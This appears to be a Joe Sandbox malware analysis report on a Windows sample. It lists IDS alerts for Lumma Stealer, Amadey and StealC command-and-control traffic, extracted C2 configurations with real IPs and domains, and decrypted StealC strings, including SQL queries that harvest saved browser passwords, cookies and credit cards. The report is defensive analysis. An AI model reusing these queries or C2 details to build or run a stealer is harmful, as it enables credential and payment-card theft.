2024-10-31T04:16:26.540327+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49921	188.114.97.3	443	TCP
2024-10-31T04:16:27.763978+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T04:16:29.486345+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49943	188.114.97.3	443	TCP
2024-10-31T04:16:31.365063+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49960	188.114.97.3	443	TCP
2024-10-31T04:16:34.844402+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49979	188.114.97.3	443	TCP
2024-10-31T04:16:38.228466+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50008	188.114.97.3	443	TCP
2024-10-31T04:16:40.550329+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50033	188.114.97.3	443	TCP
2024-10-31T04:16:42.382047+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50043	188.114.97.3	443	TCP
2024-10-31T04:16:59.637272+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58616	188.114.97.3	443	TCP
2024-10-31T04:17:00.803022+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58618	188.114.97.3	443	TCP
2024-10-31T04:17:02.257322+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58620	188.114.97.3	443	TCP
2024-10-31T04:17:03.553170+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58621	188.114.97.3	443	TCP
2024-10-31T04:17:04.989905+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58623	188.114.97.3	443	TCP
2024-10-31T04:17:07.177732+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58624	188.114.97.3	443	TCP
2024-10-31T04:17:08.827898+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58627	188.114.97.3	443	TCP
2024-10-31T04:17:10.111803+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	58629	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:15:10.787134+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49738	185.215.113.16	80	TCP
2024-10-31T04:16:27.336634+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49924	185.215.113.16	80	TCP
2024-10-31T04:16:28.223438+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49930	185.215.113.16	80	TCP
2024-10-31T04:16:43.816329+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50050	185.215.113.16	80	TCP
2024-10-31T04:17:11.512771+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	58630	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:16:13.888724+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49842	185.215.113.43	80	TCP
2024-10-31T04:16:21.017771+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49884	185.215.113.43	80	TCP
2024-10-31T04:16:26.411022+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49916	185.215.113.43	80	TCP
2024-10-31T04:16:31.660840+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49959	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:55.583137+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	63537	1.1.1.1	53	UDP
2024-10-31T04:16:12.970589+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	64014	1.1.1.1	53	UDP
2024-10-31T04:16:25.893850+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	52609	1.1.1.1	53	UDP
2024-10-31T04:16:58.989316+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	63867	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:55.594601+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	61756	1.1.1.1	53	UDP
2024-10-31T04:16:12.981398+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	64481	1.1.1.1	53	UDP
2024-10-31T04:16:25.904646+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	64988	1.1.1.1	53	UDP
2024-10-31T04:16:58.999232+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	49153	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:55.615388+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	58458	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:55.569114+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	53325	1.1.1.1	53	UDP
2024-10-31T04:16:12.956938+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	55872	1.1.1.1	53	UDP
2024-10-31T04:16:25.879579+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	60841	1.1.1.1	53	UDP
2024-10-31T04:16:58.970112+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	59249	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:55.604842+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	54763	1.1.1.1	53	UDP
2024-10-31T04:16:12.993087+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	49516	1.1.1.1	53	UDP
2024-10-31T04:16:25.915406+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	51905	1.1.1.1	53	UDP
2024-10-31T04:16:59.009299+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	54906	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:59.489166+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T04:16:22.134438+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49893	188.114.97.3	443	TCP
2024-10-31T04:17:07.839230+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	58624	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:16:21.733201+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49890	185.215.113.206	80	TCP
2024-10-31T04:16:30.416638+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49945	185.215.113.206	80	TCP
2024-10-31T04:16:37.199238+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49994	185.215.113.206	80	TCP
2024-10-31T04:16:51.241008+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50071	185.215.113.206	80	TCP
2024-10-31T04:17:09.218535+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	58626	185.215.113.206	80	TCP
2024-10-31T04:17:24.932878+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	58669	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:16:05.236707+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49792	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:16:12.991443+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49808	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:16:08.599595+0100	2803305	3	Unknown Traffic	192.168.2.4	49814	185.215.113.16	80	TCP
2024-10-31T04:16:14.979521+0100	2803305	3	Unknown Traffic	192.168.2.4	49849	185.215.113.16	80	TCP
2024-10-31T04:16:21.964030+0100	2803305	3	Unknown Traffic	192.168.2.4	49891	185.215.113.16	80	TCP
2024-10-31T04:16:27.336634+0100	2803305	3	Unknown Traffic	192.168.2.4	49924	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:16:41.387251+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50033	188.114.97.3	443	TCP
2024-10-31T04:17:09.494225+0100	2843864	1	A Network Trojan was detected	192.168.2.4	58627	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000004.00000002.1946832633.0000000000471000.00000040.00000001.01000000.0000000C.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 28.2.num.exe.e80000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 6cadd3f0fd.exe.7516.9.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "thumbystriw.store", "scriptyprefej.store", "founpiuer.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 52%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5TAVJ2XDPW30B3ZI4A9E75FX93.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 28.2.num.exe.e80000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 30
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 11
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 20
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 24
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetProcAddress
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: LoadLibraryA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: lstrcatA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: OpenEventA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CreateEventA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CloseHandle
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Sleep
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: VirtualFree
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetSystemInfo
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: VirtualAlloc
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: HeapAlloc
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetComputerNameA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: lstrcpyA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetProcessHeap
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetCurrentProcess
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: lstrlenA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ExitProcess
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetSystemTime
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: advapi32.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: gdi32.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: user32.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: crypt32.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ntdll.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetUserNameA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CreateDCA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetDeviceCaps
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ReleaseDC
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sscanf
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: VMwareVMware
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: HAL9TH
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: JohnDoe
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: DISPLAY
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: http://185.215.113.206
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: bksvnsj
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: /746f34465cf17784/
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: tale
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetFileAttributesA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GlobalLock
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: HeapFree
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetFileSize
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GlobalSize
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: IsWow64Process
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Process32Next
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetLocalTime
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: FreeLibrary
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetVolumeInformationA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Process32First
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetLocaleInfoA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetModuleFileNameA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: DeleteFileA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: FindNextFileA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: LocalFree
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: FindClose
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: LocalAlloc
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetFileSizeEx
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ReadFile
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SetFilePointer
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: WriteFile
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CreateFileA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: FindFirstFileA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CopyFileA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: VirtualProtect
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetLastError
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: lstrcpynA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: MultiByteToWideChar
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GlobalFree
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: WideCharToMultiByte
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GlobalAlloc
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: OpenProcess
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: TerminateProcess
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetCurrentProcessId
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: gdiplus.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ole32.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: bcrypt.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: wininet.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: shlwapi.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: shell32.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: psapi.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: rstrtmgr.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SelectObject
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: BitBlt
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: DeleteObject
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CreateCompatibleDC
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdiplusStartup
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdiplusShutdown
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdipDisposeImage
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GdipFree
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CoUninitialize
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CoInitialize
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CoCreateInstance
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: BCryptDecrypt
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: BCryptSetProperty
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: BCryptDestroyKey
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetWindowRect
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetDesktopWindow
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetDC
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CloseWindow
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: wsprintfA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CharToOemW
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: wsprintfW
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RegQueryValueExA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RegEnumKeyExA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RegOpenKeyExA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RegCloseKey
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RegEnumValueA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CryptUnprotectData
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SHGetFolderPathA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ShellExecuteExA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: InternetOpenUrlA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: InternetConnectA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: InternetCloseHandle
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: InternetOpenA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: HttpSendRequestA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: HttpOpenRequestA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: InternetReadFile
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: InternetCrackUrlA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: StrCmpCA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: StrStrA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: StrCmpCW
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: PathMatchSpecA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RmStartSession
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RmRegisterResources
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RmGetList
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: RmEndSession
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_open
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_step
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_column_text
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_finalize
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_close
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3_column_blob
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: encrypted_key
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: PATH
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: NSS_Init
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: NSS_Shutdown
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: PK11_FreeSlot
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: PK11_Authenticate
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: C:\ProgramData\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: browser:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: profile:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: url:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: login:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: password:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Opera
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: OperaGX
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Network
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: cookies
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: .txt
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: TRUE
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: FALSE
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: autofill
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: history
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: cc
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: name:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: month:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: year:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: card:
